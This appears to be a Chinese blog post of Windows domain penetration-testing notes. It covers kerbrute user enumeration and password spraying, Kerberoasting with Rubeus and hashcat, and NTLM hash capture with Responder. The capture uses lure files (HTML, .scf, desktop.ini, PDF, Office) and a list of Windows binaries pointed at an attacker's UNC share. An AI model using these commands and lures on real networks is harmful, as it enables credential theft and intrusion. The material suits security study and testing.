文章目录
![在这里插入图片描述](https://img-blog.csdnimg.cn/de69ca7ab90b41f2bd9e9f4c0edafb0d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSp6ZeuX0hlcmJlcnQ1NTU=,size_20,color_FFFFFF,t_70,g_se,x_16)
域内用户枚举和密码喷洒攻击(Password Spraying)
原理:
在 Kerberos 协议认证的 AS-REQ 阶段,cname 的值是用户名。当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击
攻击下载地址:https://github.com/ropnop/kerbrute/releases/tag/v1.0.3
域内用户枚举
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
密码喷洒攻击
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
域渗透之Kerberoast攻击
参考:https://xie1997.blog.csdn.net/article/details/104049291
请求服务票据
使用Rubeus
下载地址:https://github.com/GhostPack/Rubeus
# 使用
Rubeus.exe kerberoast
导出服务票据
Rubeus
Rubeus.exe kerberoast /outfile:C:\hash.txt /format:hashcat
/format:hashcat也是新的hash模式18200的选项
离线破解
hashcat
下载地址:https://github.com/hashcat/hashcat/releases/
# 使用
hashcat64.txt -m 13100 hash.txt pass.txt
HTML relay攻击
参考:你所不知道的NTLM Relay
原理:
捕获Net-HTML Hash
NBNS&LLMNR
实验一下:
首先下载工具 SpiderLabs /Responder(kali好像自带这个工具)
# 开启监听
responder -I eth0 -rPv
然后用域内机器执行
成功抓取到
XSS
HTML代码:
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
</body>
<script src="\\192.168.106.5\test"></script>
</html>
使用浏览器访问上面那个页面
图标
scf
创建一个test文件夹,创建一个scf文件,里面写上如下内容,ip地址必须为攻击机的ip地址
[Shell]
Command=2
IconFile=\\192.168.64.130\test\1.ico
[Taskbar]
Command=ToggleDesktop
然后访问该文件夹
用户头像(可用于提权)
该功能适用于Windows 10、Windows Server 2016/2019。在更改账户图片处,输入指定的UNC路径
desktop.ini
创建一个test文件夹,修改它的图标
取消勾选该文件夹的 隐藏受保护的操作系统文件(推荐)
编辑desktop.ini,修改为攻击者的UNC路径
[.ShellClassInfo]
IconResource=\\192.168.64.130\aa\SHELL32.dll,13
[ViewState]
Mode=
Vid=
FolderType=Generic
访问该文件夹,成功获取
脚本下载地址: 3gstudent /Worse-PDF
python2 WorsePDF.py ../../1.pdf 10.1.1.128
office
新建一个word,插入一张图片,保存
用压缩软件打开,进入test.docx\word_rels目录,修改document.xml.rels文件
可以看到Target参数是本地的路径,我们修改为指定的UNC路径,然后加上TargetMode=“External”
发现win7用这个软件打开才有
系统命令
试了一下,只有net use 可以随便输入什么主机名都能收到,而其他的需要输入攻击机ip才行
net.exe use \hostshare
attrib.exe \hostshare
cacls.exe \hostshare
certreq.exe \hostshare #(noisy, pops an error dialog)
certutil.exe \hostshare
cipher.exe \hostshare
ClipUp.exe -l \hostshare
cmdl32.exe \hostshare
cmstp.exe /s \hostshare
colorcpl.exe \hostshare #(noisy, pops an error dialog)
comp.exe /N=0 \hostshare \hostshare
compact.exe \hostshare
control.exe \hostshare
convertvhd.exe -source \hostshare -destination \hostshare
Defrag.exe \hostshare
diskperf.exe \hostshare
dispdiag.exe -out \hostshare
doskey.exe /MACROFILE=\hostshare
esentutl.exe /k \hostshare
expand.exe \hostshare
extrac32.exe \hostshare
FileHistory.exe \hostshare #(noisy, pops a gui)
findstr.exe * \hostshare
fontview.exe \hostshare #(noisy, pops an error dialog)
fvenotify.exe \hostshare #(noisy, pops an access denied error)
FXSCOVER.exe \hostshare #(noisy, pops GUI)
hwrcomp.exe -check \hostshare
hwrreg.exe \hostshare
icacls.exe \hostshare
licensingdiag.exe -cab \hostshare
lodctr.exe \hostshare
lpksetup.exe /p \hostshare /s
makecab.exe \hostshare
msiexec.exe /update \hostshare /quiet
msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
mspaint.exe \hostshare #(noisy, invalid path to png error)
msra.exe /openfile \hostshare #(noisy, error)
mstsc.exe \hostshare #(noisy, error)
netcfg.exe -l \hostshare -c p -i foo